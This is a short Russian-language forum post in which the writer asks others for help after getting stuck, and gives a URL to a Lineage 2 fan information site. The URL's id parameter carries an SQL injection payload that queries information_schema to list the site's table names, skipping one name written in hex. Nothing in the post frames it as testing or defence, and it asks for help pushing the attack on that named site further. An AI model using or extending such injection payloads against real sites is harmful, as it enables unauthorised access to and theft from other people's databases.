вобщем вот вам линка... долго дрючил свой мозг так и не доходит
надеюсь на вашу помощь

http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select(max(table_name))from[information_schema].tables+where+table_name+not+in+(0x7379737365676D6 56E7473))--